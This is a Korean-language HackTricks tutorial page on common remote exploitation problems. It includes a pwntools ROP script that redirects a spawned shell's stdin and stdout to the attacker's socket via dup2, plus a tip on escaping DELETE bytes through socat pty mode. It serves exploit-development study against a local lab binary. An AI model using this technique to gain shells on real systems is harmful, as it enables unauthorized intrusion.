mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
4.1 KiB
4.1 KiB
일반적인 Exploiting 문제
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
- 사이버 보안 회사에서 일하시나요? 회사가 HackTricks에 광고되길 원하시나요? 혹은 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? 구독 요금제를 확인해보세요!
- The PEASS Family를 발견해보세요, 저희의 독점 NFTs 컬렉션
- 공식 PEASS & HackTricks 스왹을 얻으세요
- 💬 Discord 그룹이나 텔레그램 그룹에 가입하거나 트위터 🐦@carlospolopm를 팔로우하세요.
- 해킹 트릭을 공유하고 싶다면 hacktricks repo 및 hacktricks-cloud repo 로 PR을 제출해주세요.
원격 Exploitation에서의 FDs
예를 들어 **system('/bin/sh')
**를 호출하는 원격 서버로 exploit을 전송할 때, 이는 물론 서버 프로세스에서 실행되며, /bin/sh
는 stdin(FD: 0
)에서 입력을 기대하고 stdout 및 stderr(FDs 1
및 2
)에서 출력을 표시할 것입니다. 따라서 공격자는 셸과 상호 작용할 수 없을 것입니다.
이를 해결하는 한 가지 방법은 서버가 시작될 때 FD 번호 3
(청취용)를 생성했다고 가정하고, 그 후에 연결이 **FD 번호 4
**에 있을 것이라고 가정하는 것입니다. 따라서, dup2
시스템 호출을 사용하여 stdin(FD 0)과 stdout(FD 1)를 공격자 연결의 FD 4(연결용)에 복제하여 실행된 후 셸과 연락할 수 있도록 만들 수 있습니다.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
socat는 이미 **stdin
**과 **stdout
**를 소켓으로 전송합니다. 그러나 pty
모드에는 DELETE 문자가 포함되어 있습니다. 따라서 \x7f
(DELETE
-)를 보내면 exploit의 이전 문자가 삭제됩니다.
이를 우회하기 위해 \x7f
를 보내기 전에 이스케이프 문자 \x16
을 추가해야 합니다.
여기에서 이 동작의 예제를 찾을 수 있습니다.
htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요
- 사이버 보안 회사에서 일하시나요? HackTricks에 귀사를 광고하고 싶으신가요? 또는 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? 구독 요금제를 확인하세요!
- The PEASS Family를 발견하세요, 저희의 독점 NFT 컬렉션
- 공식 PEASS & HackTricks 스왜그를 얻으세요
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦@carlospolopm를 팔로우하세요.
- 해킹 요령을 공유하려면 hacktricks repo 및 hacktricks-cloud repo 로 PR을 제출하세요.